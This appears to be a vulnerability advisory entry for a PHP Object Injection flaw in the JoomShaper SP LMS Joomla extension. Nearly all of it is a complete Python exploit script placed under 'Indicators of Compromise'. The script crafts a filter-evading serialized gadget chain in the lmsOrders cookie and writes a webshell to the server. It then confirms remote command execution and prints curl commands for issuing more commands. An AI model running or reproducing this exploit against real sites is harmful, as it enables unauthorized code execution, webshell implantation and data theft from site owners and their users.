A PHP Object Injection vulnerability exists in Joomla Extension version 4.1.4. This vulnerability allows an attacker to inject malicious PHP objects, potentially leading to unauthorized code execution or other impacts depending on the application context. Exploit code is publicly available in Python.

AI Analysis

Indicators of Compromise

• exploit-code: Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection Affected : JoomShaper SP LMS <= 4.1.3 Fixed : JoomShaper SP LMS >= 4.1.4 Author : Amin İsayev / Proxima Cyber Security Joomla version note: RCE requires Joomla < 5.2.2 Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the gadget chain — PHP Object Injection still exists in com_splms but no known public gadget chain leads to RCE on patched Joomla versions. Attack chain: lmsOrders cookie → unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28] → FormattedtextLogger.__destruct() [Joomla gadget] → File::write($path, $format) → webshell on disk Joomla Input filter note: $cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie. Fix: pad format string so serialized total is divisible by 3 (no '=') and iterate until base64 has no '/' (shifts encoding). Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n Usage: python3 CVE-2026-48909_exploit.py <target> <server_path> server_path = absolute PHP-writable path on server Examples : /var/www/html/tmp/x.php /home/USER/public_html/tmp/x.php /var/www/vhosts/site.com/httpdocs/tmp/x.php """ import sys import base64 import requests import urllib3 urllib3.disable_warnings() CART_PATH = "/index.php?option=com_splms&view=cart" TIMEOUT = 15 WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>' # ─── PHP serializer ─────────────────────────────────────────────────────────── def _s(s: str) -> str: return f's:{len(s.encode())}:"{s}";' def _pk(name: str) -> str: """Protected property key (null-byte notation for string concat)""" return f'\x00*\x00{name}' def _build_serialized(webshell_path: str, fmt: str) -> str: """Build the raw PHP serialized string (not yet base64).""" entry = ( 'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{' 's:4:"date";s:10:"1234567890";' 's:4:"time";s:1:"t";' 's:1:"f";s:3:"xxx";' '}' ) cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger' props = ( _s(_pk('defer')) + 'b:1;' + _s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' + _s(_pk('path')) + _s(webshell_path) + _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' + _s(_pk('format')) + _s(fmt) + _s(_pk('fields')) + 'a:0:{}' ) return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}' def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]: """ Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter. The filter strips '/', '=' and '+'. We avoid these by: 1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format 2. Padding format to make total serialized length divisible by 3 → no '=' padding 3. Iterating pad size (by 3) until base64 contains no '/' chars Returns (base64_payload, format_length). """ hex_code = php_code.encode().hex() core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));' pad_prefix = '/*' pad_suffix = '*/;?>' PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for target_fmt_len in range(200, 8000): pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix) if pad_len < 0: continue # Quick mod-3 check with first pad_char before trying all 62 fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1') if len(ser_probe) % 3 != 0: continue # no pad_char can fix mod-3 alignment for this length for pad_char in PAD_CHARS: fmt = core + pad_prefix + pad_char * pad_len + pad_suffix serialized = _build_serialized(webshell_path, fmt) ser_bytes = serialized.encode('latin-1') b64 = base64.b64encode(ser_bytes).decode() if '/' not in b64 and '+' not in b64: return b64, len(fmt) raise RuntimeError("Could not find filter-safe payload — try a different path") # ─── Exploit ────────────────────────────────────────────────────────────────── def _server_path_to_url(server_path: str) -> str: """Strip webroot prefix to get the URL path.""" import re # cPanel: /home[N]/USER/public_html/... m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path) if m: return m.group(1) # Plesk: /var/www/vhosts/DOMAIN/httpdocs/... m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path) if m: return m.group(1) # Standard for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'): if server_path.startswith(prefix): return server_path[len(prefix):] return server_path def exploit(target: str, server_path: str) -> None: url_path = _server_path_to_url(server_path) cart_url = target.rstrip('/') + CART_PATH shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path) session = requests.Session() session.verify = False session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', }) print(f"[*] Target : {target}") print(f"[*] Shell path : {server_path}") print(f"[*] Shell URL : {shell_url}") print("[*] Building filter-safe payload...") payload, fmt_len = build_payload(server_path, WEBSHELL) print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}") print(f"[*] Payload : {payload[:60]}...") print() try: r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT) status = r.status_code if status == 500: print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)") elif status == 200: print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered") else: print(f"[?] HTTP {status}") except requests.RequestException as e: print(f"[!] Request failed: {e}") return import time; time.sleep(1) # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell print("[*] Step 1: triggering fopen/fwrite loader...") try: r1 = session.get(shell_url, timeout=TIMEOUT) print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)") except requests.RequestException as e: print(f"[!] Loader request failed: {e}") # Step 2: verify RCE print("[*] Step 2: checking shell...") try: rv = session.get(shell_url + '?c=id', timeout=TIMEOUT) if rv.status_code == 200 and 'uid=' in rv.text: print(f"\n[+] SHELL ACTIVE!") print(f"[+] id: {rv.text.strip()[:200]}") print(f"\n curl -sk '{shell_url}?c=COMMAND'") elif rv.status_code == 200 and len(rv.text.strip()) < 600: print(f"\n[~] File accessible:") print(f" {rv.text.strip()[:300]}") print(f"\n Try again: curl -sk '{shell_url}?c=id'") elif rv.status_code == 404: print(f"[-] Shell not found (404) — file not written or wrong path") print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php") elif rv.status_code == 403: print(f"[~] 403 — file may exist but PHP not served there") else: print(f"[-] HTTP {rv.status_code}") except requests.RequestException as e: print(f"[!] Shell check failed: {e}") def main(): if len(sys.argv) < 3: print(__doc__) sys.exit(1) exploit(sys.argv[1], sys.argv[2]) if __name__ == '__main__': main()